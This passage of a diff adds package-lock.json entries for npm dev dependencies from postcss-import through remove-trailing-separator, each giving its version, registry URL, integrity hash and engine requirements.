+ "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+ "dev": true,
+ "dependencies": {
+ "is-number": "^7.0.0"
+ },
+ "engines": {
+ "node": ">=8.0"
+ }
+ },
+ "node_modules/postcss-import": {
+ "version": "15.1.0",
+ "resolved": "https://registry.npmjs.org/postcss-import/-/postcss-import-15.1.0.tgz",
+ "integrity": "sha512-hpr+J05B2FVYUAXHeK1YyI267J/dDDhMU6B6civm8hSY1jYJnBXxzKDKDswzJmtLHryrjhnDjqqp/49t8FALew==",
+ "dev": true,
+ "dependencies": {
+ "postcss-value-parser": "^4.0.0",
+ "read-cache": "^1.0.0",
+ "resolve": "^1.1.7"
+ },
+ "engines": {
+ "node": ">=14.0.0"
+ },
+ "peerDependencies": {
+ "postcss": "^8.0.0"
+ }
+ },
+ "node_modules/postcss-js": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-js/-/postcss-js-4.0.1.tgz",
+ "integrity": "sha512-dDLF8pEO191hJMtlHFPRa8xsizHaM82MLfNkUHdUtVEV3tgTp5oj+8qbEqYM57SLfc74KSbw//4SeJma2LRVIw==",
+ "dev": true,
+ "dependencies": {
+ "camelcase-css": "^2.0.1"
+ },
+ "engines": {
+ "node": "^12 || ^14 || >= 16"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.4.21"
+ }
+ },
+ "node_modules/postcss-load-config": {
+ "version": "4.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.1.tgz",
+ "integrity": "sha512-vEJIc8RdiBRu3oRAI0ymerOn+7rPuMvRXslTvZUKZonDHFIczxztIyJ1urxM1x9JXEikvpWWTUUqal5j/8QgvA==",
+ "dev": true,
+ "dependencies": {
+ "lilconfig": "^2.0.5",
+ "yaml": "^2.1.1"
+ },
+ "engines": {
+ "node": ">= 14"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": ">=8.0.9",
+ "ts-node": ">=9.0.0"
+ },
+ "peerDependenciesMeta": {
+ "postcss": {
+ "optional": true
+ },
+ "ts-node": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/postcss-nested": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz",
+ "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==",
+ "dev": true,
+ "dependencies": {
+ "postcss-selector-parser": "^6.0.11"
+ },
+ "engines": {
+ "node": ">=12.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.2.14"
+ }
+ },
+ "node_modules/postcss-reporter": {
+ "version": "7.0.5",
+ "resolved": "https://registry.npmjs.org/postcss-reporter/-/postcss-reporter-7.0.5.tgz",
+ "integrity": "sha512-glWg7VZBilooZGOFPhN9msJ3FQs19Hie7l5a/eE6WglzYqVeH3ong3ShFcp9kDWJT1g2Y/wd59cocf9XxBtkWA==",
+ "dev": true,
+ "dependencies": {
+ "picocolors": "^1.0.0",
+ "thenby": "^1.3.4"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/postcss/"
+ },
+ "peerDependencies": {
+ "postcss": "^8.1.0"
+ }
+ },
+ "node_modules/postcss-selector-parser": {
+ "version": "6.0.13",
+ "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz",
+ "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==",
+ "dev": true,
+ "dependencies": {
+ "cssesc": "^3.0.0",
+ "util-deprecate": "^1.0.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/postcss-value-parser": {
+ "version": "4.2.0",
+ "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz",
+ "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==",
+ "dev": true
+ },
+ "node_modules/postcss/node_modules/nanoid": {
+ "version": "3.3.6",
+ "resolved": "https://registry.npmjs.org/nanoid/-/nanoid-3.3.6.tgz",
+ "integrity": "sha512-BGcqMMJuToF7i1rt+2PWSNVnWIkGCU78jBG3RxO/bZlnZPK2Cmi2QaffxGO/2RvWi9sL+FAiRiXMgsyxQ1DIDA==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "bin": {
+ "nanoid": "bin/nanoid.cjs"
+ },
+ "engines": {
+ "node": "^10 || ^12 || ^13.7 || ^14 || >=15.0.1"
+ }
+ },
+ "node_modules/prelude-ls": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.2.1.tgz",
+ "integrity": "sha512-vkcDPrRZo1QZLbn5RLGPpg/WmIQ65qoWWhcGKf/b5eplkkarX0m9z8ppCat4mlOqUsWpyNuYgO3VRyrYHSzX5g==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.8.0"
+ }
+ },
+ "node_modules/pretty-hrtime": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/pretty-hrtime/-/pretty-hrtime-1.0.3.tgz",
+ "integrity": "sha512-66hKPCr+72mlfiSjlEB1+45IjXSqvVAIy6mocupoww4tBFE9R9IhwwUGoI4G++Tc9Aq+2rxOt0RFU6gPcrte0A==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.8"
+ }
+ },
+ "node_modules/process-nextick-args": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
+ "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==",
+ "dev": true
+ },
+ "node_modules/process-on-spawn": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/process-on-spawn/-/process-on-spawn-1.0.0.tgz",
+ "integrity": "sha512-1WsPDsUSMmZH5LeMLegqkPDrsGgsWwk1Exipy2hvB0o/F0ASzbpIctSCcZIK1ykJvtTJULEH+20WOFjMvGnCTg==",
+ "dev": true,
+ "dependencies": {
+ "fromentries": "^1.2.0"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/progress": {
+ "version": "2.0.3",
+ "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz",
+ "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.4.0"
+ }
+ },
+ "node_modules/prompts": {
+ "version": "2.4.2",
+ "resolved": "https://registry.npmjs.org/prompts/-/prompts-2.4.2.tgz",
+ "integrity": "sha512-NxNv/kLguCA7p3jE8oL2aEBsrJWgAakBpgmgK6lpPWV+WuOmY6r2/zbAVnP+T8bQlA0nzHXSJSJW0Hq7ylaD2Q==",
+ "dev": true,
+ "dependencies": {
+ "kleur": "^3.0.3",
+ "sisteransi": "^1.0.5"
+ },
+ "engines": {
+ "node": ">= 6"
+ }
+ },
+ "node_modules/prr": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz",
+ "integrity": "sha512-yPw4Sng1gWghHQWj0B3ZggWUm4qVbPwPFcRG8KyxiU7J2OHFSoEHKS+EZ3fv5l1t9CyCiop6l/ZYeWbrgoQejw==",
+ "dev": true
+ },
+ "node_modules/psl": {
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/psl/-/psl-1.9.0.tgz",
+ "integrity": "sha512-E/ZsdU4HLs/68gYzgGTkMicWTLPdAftJLfJFlLUAAKZGkStNU72sZjT66SnMDVOfOWY/YAoiD7Jxa9iHvngcag==",
+ "dev": true
+ },
+ "node_modules/pump": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-3.0.0.tgz",
+ "integrity": "sha512-LwZy+p3SFs1Pytd/jYct4wpv49HiYCqd9Rlc5ZVdk0V+8Yzv6jR5Blk3TRmPL1ft69TxP0IMZGJ+WPFU2BFhww==",
+ "dev": true,
+ "dependencies": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.1"
+ }
+ },
+ "node_modules/pumpify": {
+ "version": "1.5.1",
+ "resolved": "https://registry.npmjs.org/pumpify/-/pumpify-1.5.1.tgz",
+ "integrity": "sha512-oClZI37HvuUJJxSKKrC17bZ9Cu0ZYhEAGPsPUy9KlMUmv9dKX2o77RUmq7f3XjIxbwyGwYzbzQ1L2Ks8sIradQ==",
+ "dev": true,
+ "dependencies": {
+ "duplexify": "^3.6.0",
+ "inherits": "^2.0.3",
+ "pump": "^2.0.0"
+ }
+ },
+ "node_modules/pumpify/node_modules/pump": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/pump/-/pump-2.0.1.tgz",
+ "integrity": "sha512-ruPMNRkN3MHP1cWJc9OWr+T/xDP0jhXYCLfJcBuX54hhfIBnaQmAUMfDcG4DM5UMWByBbJY69QSphm3jtDKIkA==",
+ "dev": true,
+ "dependencies": {
+ "end-of-stream": "^1.1.0",
+ "once": "^1.3.1"
+ }
+ },
+ "node_modules/punycode": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.3.0.tgz",
+ "integrity": "sha512-rRV+zQD8tVFys26lAGR9WUuS4iUAngJScM+ZRSKtvl5tKeZ2t5bvdNFdNHBW9FWR4guGHlgmsZ1G7BSm2wTbuA==",
+ "dev": true,
+ "engines": {
+ "node": ">=6"
+ }
+ },
+ "node_modules/querystringify": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/querystringify/-/querystringify-2.2.0.tgz",
+ "integrity": "sha512-FIqgj2EUvTa7R50u0rGsyTftzjYmv/a3hO345bZNrqabNqjtgiDMgmo4mkUjd+nzU5oF3dClKqFIPUKybUyqoQ==",
+ "dev": true
+ },
+ "node_modules/queue-microtask": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz",
+ "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==",
+ "dev": true,
+ "funding": [
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/feross"
+ },
+ {
+ "type": "patreon",
+ "url": "https://www.patreon.com/feross"
+ },
+ {
+ "type": "consulting",
+ "url": "https://feross.org/support"
+ }
+ ]
+ },
+ "node_modules/randombytes": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz",
+ "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==",
+ "dev": true,
+ "dependencies": {
+ "safe-buffer": "^5.1.0"
+ }
+ },
+ "node_modules/read-cache": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz",
+ "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==",
+ "dev": true,
+ "dependencies": {
+ "pify": "^2.3.0"
+ }
+ },
+ "node_modules/read-cache/node_modules/pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/read-pkg/-/read-pkg-1.1.0.tgz",
+ "integrity": "sha512-7BGwRHqt4s/uVbuyoeejRn4YmFnYZiFl4AuaeXHlgZf3sONF0SOGlxs2Pw8g6hCKupo08RafIO5YXFNOKTfwsQ==",
+ "dev": true,
+ "dependencies": {
+ "load-json-file": "^1.0.0",
+ "normalize-package-data": "^2.3.2",
+ "path-type": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg-up": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/read-pkg-up/-/read-pkg-up-1.0.1.tgz",
+ "integrity": "sha512-WD9MTlNtI55IwYUS27iHh9tK3YoIVhxis8yKhLpTqWtml739uXc9NWTpxoHkfZf3+DkCCsXox94/VWZniuZm6A==",
+ "dev": true,
+ "dependencies": {
+ "find-up": "^1.0.0",
+ "read-pkg": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg-up/node_modules/find-up": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-1.1.2.tgz",
+ "integrity": "sha512-jvElSjyuo4EMQGoTwo1uJU5pQMwTW5lS1x05zzfJuTIyLR3zwO27LYrxNg+dlvKpGOuGy/MzBdXh80g0ve5+HA==",
+ "dev": true,
+ "dependencies": {
+ "path-exists": "^2.0.0",
+ "pinkie-promise": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg-up/node_modules/path-exists": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-2.1.0.tgz",
+ "integrity": "sha512-yTltuKuhtNeFJKa1PiRzfLAU5182q1y4Eb4XCJ3PBqyzEDkAZRzBrKKBct682ls9reBVHf9udYLN5Nd+K1B9BQ==",
+ "dev": true,
+ "dependencies": {
+ "pinkie-promise": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg/node_modules/path-type": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/path-type/-/path-type-1.1.0.tgz",
+ "integrity": "sha512-S4eENJz1pkiQn9Znv33Q+deTOKmbl+jj1Fl+qiP/vYezj+S8x+J3Uo0ISrx/QoEvIlOaDWJhPaRd1flJ9HXZqg==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.2",
+ "pify": "^2.0.0",
+ "pinkie-promise": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/read-pkg/node_modules/pify": {
+ "version": "2.3.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-2.3.0.tgz",
+ "integrity": "sha512-udgsAY+fTnvv7kI7aaxbqwWNb0AHiB0qBO89PZKPkoTmGOgdbrHDKD+0B2X4uTfJ/FT1R09r9gTsjUjNJotuog==",
+ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readable-stream": {
+ "version": "2.3.8",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.8.tgz",
+ "integrity": "sha512-8p0AUk4XODgIewSi0l8Epjs+EVnWiK7NoDIEGU0HhE7+ZyY8D1IMY7odu5lRrFXGg71L15KG8QrPmum45RTtdA==",
+ "dev": true,
+ "dependencies": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "node_modules/readdirp": {
+ "version": "2.2.1",
+ "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-2.2.1.tgz",
+ "integrity": "sha512-1JU/8q+VgFZyxwrJ+SVIOsh+KywWGpds3NTqikiKpDMZWScmAYyKIgqkO+ARvNWJfXeXR1zxz7aHF4u4CyH6vQ==",
+ "dev": true,
+ "dependencies": {
+ "graceful-fs": "^4.1.11",
+ "micromatch": "^3.1.10",
+ "readable-stream": "^2.0.2"
+ },
+ "engines": {
+ "node": ">=0.10"
+ }
+ },
+ "node_modules/readdirp/node_modules/define-property": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/define-property/-/define-property-2.0.2.tgz",
+ "integrity": "sha512-jwK2UV4cnPpbcG7+VRARKTZPUWowwXA8bzH5NP6ud0oeAxyYPuGZUAC7hMugpCdz4BeSZl2Dl9k66CHJ/46ZYQ==",
+ "dev": true,
+ "dependencies": {
+ "is-descriptor": "^1.0.2",
+ "isobject": "^3.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/is-accessor-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+ "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/is-data-descriptor": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+ "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+ "dev": true,
+ "dependencies": {
+ "kind-of": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/is-descriptor": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+ "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+ "dev": true,
+ "dependencies": {
+ "is-accessor-descriptor": "^1.0.0",
+ "is-data-descriptor": "^1.0.0",
+ "kind-of": "^6.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/readdirp/node_modules/micromatch": {
+ "version": "3.1.10",
+ "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+ "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+ "dev": true,
+ "dependencies": {
+ "arr-diff": "^4.0.0",
+ "array-unique": "^0.3.2",
+ "braces": "^2.3.1",
+ "define-property": "^2.0.2",
+ "extend-shallow": "^3.0.2",
+ "extglob": "^2.0.4",
+ "fragment-cache": "^0.2.1",
+ "kind-of": "^6.0.2",
+ "nanomatch": "^1.2.9",
+ "object.pick": "^1.3.0",
+ "regex-not": "^1.0.0",
+ "snapdragon": "^0.8.1",
+ "to-regex": "^3.0.2"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/rechoir": {
+ "version": "0.6.2",
+ "resolved": "https://registry.npmjs.org/rechoir/-/rechoir-0.6.2.tgz",
+ "integrity": "sha512-HFM8rkZ+i3zrV+4LQjwQ0W+ez98pApMGM3HUrN04j3CqzPOzl9nmP15Y8YXNm8QHGv/eacOVEjqhmWpkRV0NAw==",
+ "dev": true,
+ "dependencies": {
+ "resolve": "^1.1.6"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/regenerate": {
+ "version": "1.4.2",
+ "resolved": "https://registry.npmjs.org/regenerate/-/regenerate-1.4.2.tgz",
+ "integrity": "sha512-zrceR/XhGYU/d/opr2EKO7aRHUeiBI8qjtfHqADTwZd6Szfy16la6kqD0MIUs5z5hx6AaKa+PixpPrR289+I0A==",
+ "dev": true
+ },
+ "node_modules/regenerate-unicode-properties": {
+ "version": "10.1.0",
+ "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.1.0.tgz",
+ "integrity": "sha512-d1VudCLoIGitcU/hEg2QqvyGZQmdC0Lf8BqdOMXGFSvJP4bNV1+XqbPQeHHLD51Jh4QJJ225dlIFvY4Ly6MXmQ==",
+ "dev": true,
+ "dependencies": {
+ "regenerate": "^1.4.2"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/regenerator-runtime": {
+ "version": "0.13.11",
+ "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz",
+ "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==",
+ "dev": true
+ },
+ "node_modules/regenerator-transform": {
+ "version": "0.15.1",
+ "resolved": "https://registry.npmjs.org/regenerator-transform/-/regenerator-transform-0.15.1.tgz",
+ "integrity": "sha512-knzmNAcuyxV+gQCufkYcvOqX/qIIfHLv0u5x79kRxuGojfYVky1f15TzZEu2Avte8QGepvUNTnLskf8E6X6Vyg==",
+ "dev": true,
+ "dependencies": {
+ "@babel/runtime": "^7.8.4"
+ }
+ },
+ "node_modules/regex-not": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/regex-not/-/regex-not-1.0.2.tgz",
+ "integrity": "sha512-J6SDjUgDxQj5NusnOtdFxDwN/+HWykR8GELwctJ7mdqhcyy1xEc4SRFHUXvxTp661YaVKAjfRLZ9cCqS6tn32A==",
+ "dev": true,
+ "dependencies": {
+ "extend-shallow": "^3.0.2",
+ "safe-regex": "^1.1.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/regex-not/node_modules/extend-shallow": {
+ "version": "3.0.2",
+ "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+ "integrity": "sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==",
+ "dev": true,
+ "dependencies": {
+ "assign-symbols": "^1.0.0",
+ "is-extendable": "^1.0.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/regex-not/node_modules/is-extendable": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+ "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+ "dev": true,
+ "dependencies": {
+ "is-plain-object": "^2.0.4"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/regexpp": {
+ "version": "3.2.0",
+ "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-3.2.0.tgz",
+ "integrity": "sha512-pq2bWo9mVD43nbts2wGv17XLiNLya+GklZ8kaDLV2Z08gDCsGpnKn9BFMepvWuHCbyVvY7J5o5+BVvoQbmlJLg==",
+ "dev": true,
+ "engines": {
+ "node": ">=8"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/mysticatea"
+ }
+ },
+ "node_modules/regexpu-core": {
+ "version": "5.3.2",
+ "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.3.2.tgz",
+ "integrity": "sha512-RAM5FlZz+Lhmo7db9L298p2vHP5ZywrVXmVXpmAD9GuL5MPH6t9ROw1iA/wfHkQ76Qe7AaPF0nGuim96/IrQMQ==",
+ "dev": true,
+ "dependencies": {
+ "@babel/regjsgen": "^0.8.0",
+ "regenerate": "^1.4.2",
+ "regenerate-unicode-properties": "^10.1.0",
+ "regjsparser": "^0.9.1",
+ "unicode-match-property-ecmascript": "^2.0.0",
+ "unicode-match-property-value-ecmascript": "^2.1.0"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/regjsparser": {
+ "version": "0.9.1",
+ "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.9.1.tgz",
+ "integrity": "sha512-dQUtn90WanSNl+7mQKcXAgZxvUe7Z0SqXlgzv0za4LwiUhyzBC58yQO3liFoUgu8GiJVInAhJjkj1N0EtQ5nkQ==",
+ "dev": true,
+ "dependencies": {
+ "jsesc": "~0.5.0"
+ },
+ "bin": {
+ "regjsparser": "bin/parser"
+ }
+ },
+ "node_modules/regjsparser/node_modules/jsesc": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz",
+ "integrity": "sha512-uZz5UnB7u4T9LvwmFqXii7pZSouaRPorGs5who1Ip7VO0wxanFvBL7GkM6dTHlgX+jhBApRetaWpnDabOeTcnA==",
+ "dev": true,
+ "bin": {
+ "jsesc": "bin/jsesc"
+ }
+ },
+ "node_modules/relateurl": {
+ "version": "0.2.7",
+ "resolved": "https://registry.npmjs.org/relateurl/-/relateurl-0.2.7.tgz",
+ "integrity": "sha512-G08Dxvm4iDN3MLM0EsP62EDV9IuhXPR6blNz6Utcp7zyV3tr4HVNINt6MpaRWbxoOHT3Q7YN2P+jaHX8vUbgog==",
+ "dev": true,
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/release-zalgo": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/release-zalgo/-/release-zalgo-1.0.0.tgz",
+ "integrity": "sha512-gUAyHVHPPC5wdqX/LG4LWtRYtgjxyX78oanFNTMMyFEfOqdC54s3eE82imuWKbOeqYht2CrNf64Qb8vgmmtZGA==",
+ "dev": true,
+ "dependencies": {
+ "es6-error": "^4.0.1"
+ },
+ "engines": {
+ "node": ">=4"
+ }
+ },
+ "node_modules/remove-bom-buffer": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/remove-bom-buffer/-/remove-bom-buffer-3.0.0.tgz",
+ "integrity": "sha512-8v2rWhaakv18qcvNeli2mZ/TMTL2nEyAKRvzo1WtnZBl15SHyEhrCu2/xKlJyUFKHiHgfXIyuY6g2dObJJycXQ==",
+ "dev": true,
+ "dependencies": {
+ "is-buffer": "^1.1.5",
+ "is-utf8": "^0.2.1"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/remove-bom-stream": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/remove-bom-stream/-/remove-bom-stream-1.2.0.tgz",
+ "integrity": "sha512-wigO8/O08XHb8YPzpDDT+QmRANfW6vLqxfaXm1YXhnFf3AkSLyjfG3GEFg4McZkmgL7KvCj5u2KczkvSP6NfHA==",
+ "dev": true,
+ "dependencies": {
+ "remove-bom-buffer": "^3.0.0",
+ "safe-buffer": "^5.1.0",
+ "through2": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 0.10"
+ }
+ },
+ "node_modules/remove-bom-stream/node_modules/through2": {
+ "version": "2.0.5",
+ "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz",
+ "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==",
+ "dev": true,
+ "dependencies": {
+ "readable-stream": "~2.3.6",
+ "xtend": "~4.0.1"
+ }
+ },
+ "node_modules/remove-trailing-separator": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
+ "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==",
+ "dev": true
+ },
